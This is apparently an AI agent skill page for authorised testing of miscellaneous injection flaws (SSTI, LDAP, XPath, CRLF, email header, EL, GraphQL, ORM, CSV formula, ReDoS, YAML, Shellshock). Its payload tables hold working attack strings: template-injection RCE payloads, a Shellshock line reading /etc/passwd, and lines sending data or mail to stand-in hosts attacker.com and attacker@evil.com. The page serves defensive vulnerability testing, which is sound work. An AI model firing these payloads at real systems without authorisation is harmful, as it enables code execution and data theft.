Validate miscellaneous injection vulnerabilities NOT covered by dedicated skills. Covers SSTI, LDAP, XPath, XQuery, CRLF/HTTP Header, Email Header, GraphQL, Expression Language (EL/OGNL), JSON/JavaScript eval injection, ORM/HQL, CSV/Formula, Regex (ReDoS), YAML config, and Shellshock-style injection. Use when testing CWE-1336 (SSTI), CWE-90 (LDAP), CWE-643 (XPath), CWE-652 (XQuery), CWE-93/CWE-113 (CRLF/Header), CWE-917 (EL), CWE-94/CWE-95 (Code/Eval injection), CWE-1333 (ReDoS), CWE-1236 (CSV/Formula), and related injection classes.
Validate miscellaneous injection vulnerabilities by sending crafted payloads to user-controlled inputs and observing:
This skill covers injection types WITHOUT dedicated skills.
For the following, use the dedicated skills:
sql-injection-testingnosql-injection-testingxss-testingxxe-testingcommand-injection-testingInject template expressions that execute on server.
Detection Methods:
{{7*7}} returns 49 in responseCommon Payloads by Engine:
| Engine | Detection Payload | RCE Payload Example |
|--------|-------------------|---------------------|
| Jinja2 (Python) | {{7*7}} | {{config.__class__.__init__.__globals__['os'].popen('id').read()}} |
| Twig (PHP) | {{7*7}} | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
| Freemarker (Java) | ${7*7} | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} |
| Velocity (Java) | #set($x=7*7)$x | #set($e="")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime"... |
| Thymeleaf (Java) | ${7*7} | ${T(java.lang.Runtime).getRuntime().exec('id')} |
| Pebble (Java) | {{7*7}} | (Limited sandbox escape) |
| Smarty (PHP) | {7*7} | {system('id')} |
| ERB (Ruby) | <%= 7*7 %> | <%= system('id') %> |
Manipulate LDAP queries via special characters.
Detection Methods:
* returns all entries)(cn=*) modifies filter logic)(|(password=*)) vs normal queryTest Payloads:
*
*)(&
*)(|(&
admin)(|(password=*))
admin)(!(&(1=0
*))%00
Manipulate XPath queries in XML-based applications.
Detection Methods:
' or '1'='1 returns all nodes' causes XPath syntax error' or count(//*)>0 or '1'='1Test Payloads:
' or '1'='1
' or ''='
1 or 1=1
'] | //user/*[contains(*,'
' or count(//*)>0 or '1'='1
Manipulate XQuery expressions in XML databases.
Detection Methods:
Test Payloads:
' or '1'='1
') or ('1'='1
for $x in doc("users.xml")//user return $x
Inject carriage return/line feed to manipulate HTTP headers.
Detection Methods:
%0d%0aSet-Cookie:injected=value adds header%0d%0aX-Injected:header appears in response headersTest Payloads:
%0d%0aInjected-Header:value
%0d%0aSet-Cookie:session=hijacked
%0d%0a%0d%0a<html>Injected Body</html>
\r\nX-Injected:true
Inject headers into email messages via SMTP.
Detection Methods:
victim@test.com%0ABcc:attacker@evil.com adds BCC%0ASubject:Spoofed changes subjectTest Payloads:
victim@test.com%0ABcc:attacker@evil.com
victim@test.com\r\nBcc:attacker@evil.com
test%0ACc:attacker@evil.com
test\nSubject:INJECTED
Inject EL expressions in Java-based frameworks (Spring, JSP, OGNL).
Detection Methods:
${7*7} or #{7*7} returns 49${applicationScope} leaks dataTest Payloads by Framework:
| Framework | Detection | Notes |
|-----------|-----------|-------|
| Spring EL | ${7*7}, #{7*7} | Double resolution in older versions |
| OGNL (Struts) | %{7*7}, ${7*7} | Many CVEs (Struts2) |
| JSP EL | ${7*7}, #{7*7} | Standard Java EE |
| MVEL | ${7*7} | Used in some workflow engines |
Inject JavaScript expressions into server-side evaluation contexts (Node.js or embedded JS engines) where user input is passed to eval(), Function(), vm.runInNewContext, or similar.
Detection Methods:
7*7 returns 49 (computed, not echoed)Math.imul(7,7) returns 49['a','b'].length returns 2Test Payloads (detection-only):
7*7
Math.imul(7,7)
['a','b'].length
JSON.stringify({a:1})
Safety: Treat any server-side JavaScript evaluation as high-risk; stop at detection-only payloads.
Manipulate GraphQL queries for data exfiltration or DoS.
Detection Methods:
{__schema{types{name}}} reveals schemaTest Payloads:
{__schema{queryType{name}}}
{__schema{types{name,fields{name}}}}
query{user(id:"1' OR '1'='1"){name}}
{user(id:1){friends{friends{friends{name}}}}}
Inject into ORM queries beyond basic SQL (Hibernate HQL, JPA JPQL, Django ORM).
Detection Methods:
' and 1=1 -- in Hibernate__ field lookup manipulationTest Payloads:
' or 1=1 --
' and substring(username,1,1)='a
admin' AND (SELECT COUNT(*) FROM User)>0 AND '1'='1
Inject spreadsheet formulas into exported CSV/Excel files.
Detection Methods:
=1+1 or =cmd|'/C calc'!A0 in exported data=IMPORTXML(...) data exfiltrationTest Payloads (detection only):
=1+1
=SUM(1,2)
+1+1
-1+1
@SUM(1+1)
=cmd|'/C calc'!A0
=HYPERLINK("http://attacker.com/?data="&A1)
Note: Test only in isolated environments; formulas can execute on user machines.
Inject patterns causing catastrophic backtracking in regex engines.
Detection Methods:
Test Payloads:
(a+)+$
((a+)+)+$
(a|a)+$
([a-zA-Z]+)*$
(.*a){x} (where x is large, e.g., 20)
Target input for (a+)+$: aaaaaaaaaaaaaaaaaaaaaaaa!
Inject YAML constructs for config manipulation (non-deserialization scenarios).
Detection Methods:
*alias references in YAML<<: merges dictionaries--- separates documentsTest Payloads:
key: !!python/object/apply:os.system ['id']
<<: *dangerous_anchor
admin: true
---
override: value
Inject into environment variables processed by bash.
Detection Methods:
() { :; }; echo VULNERABLETest Payloads:
() { :; }; echo SHELLSHOCK
() { :; }; /bin/sleep 5
() { :;}; /bin/cat /etc/passwd
Analyze for potential injection vectors:
Send normal request and record:
SSTI Test:
payloads = ["{{7*7}}", "${7*7}", "<%= 7*7 %>", "#{7*7}", "{7*7}"]
for payload in payloads:
resp = get(f"/template?name={quote(payload)}")
if "49" in resp.text:
status = "VALIDATED"
engine = identify_engine(payload)
LDAP Injection Test:
baseline = get("/search?user=john")
test = get("/search?user=*")
if len(test.text) > len(baseline.text) * 5:
status = "VALIDATED" # Wildcard returned all users
CRLF Injection Test:
payload = "test%0d%0aX-Injected:true"
resp = get(f"/redirect?url={payload}")
if "X-Injected" in resp.headers:
status = "VALIDATED"
EL Injection Test:
payloads = ["${7*7}", "#{7*7}", "%{7*7}"]
for payload in payloads:
resp = get(f"/page?input={quote(payload)}")
if "49" in resp.text:
status = "VALIDATED"
ReDoS Test:
baseline_time = measure("/search?pattern=test")
malicious_pattern = "(a+)+$"
malicious_input = "a" * 30 + "!"
test_time = measure(f"/search?pattern={quote(malicious_pattern)}&input={quote(malicious_input)}")
if test_time > baseline_time + 5:
status = "VALIDATED"
| Status | Meaning | |--------|---------| | VALIDATED | Injection confirmed (eval, data leak, header added, delay) | | FALSE_POSITIVE | Input properly sanitized | | PARTIAL | Some indicators but not definitive | | UNVALIDATED | Blocked, error, or insufficient evidence |
Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):
status, injection_type, cweValidated examples:
SSTI (Jinja2) on /greet - {{7*7}} evaluated to 49. RCE possible via template engine.
LDAP injection on /search - wildcard returned 500+ users vs 1. Data exposure risk.
CRLF injection on /redirect - X-Injected header added to response. Response splitting possible.
EL injection on /page - ${7*7} evaluated in Spring EL context. Code execution risk.
GraphQL introspection on /graphql - schema exposed via __schema query. API structure revealed.
Unvalidated example:
SSTI test incomplete on /template - all payloads returned literal text. Evidence: path/to/evidence.json
Primary CWEs (DAST-testable):
Additional CWEs commonly implicated by covered techniques:
Related/Parent CWEs:
Related Attack Patterns:
reference/injection_payloads.py for payload generators by injection typereference/validate_injection.py for injection validation flowexamples.md for concrete scenarios and evidence formats下载完整 Skill 目录，包含 SKILL.md 及所有相关文件
Search for places (restaurants, cafes, etc.) via Google Places API proxy on localhost.
Interact with GitHub using the `gh` CLI. Use `gh issue`, `gh pr`, `gh run`, and `gh api` for issues, PRs, CI runs, and advanced queries.
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Start voice calls via the OpenClaw voice-call plugin.
Notion API for creating and managing pages, databases, and blocks.
Gemini CLI for one-shot Q&A, summaries, and generation.
Category:developer